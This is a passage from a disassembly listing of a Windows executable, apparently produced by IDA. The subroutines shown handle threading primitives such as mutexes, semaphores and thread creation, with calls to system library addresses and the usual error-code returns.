; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		call	near ptr 7C901005h
		nop
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		nop
		call	near ptr 27902E2h


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
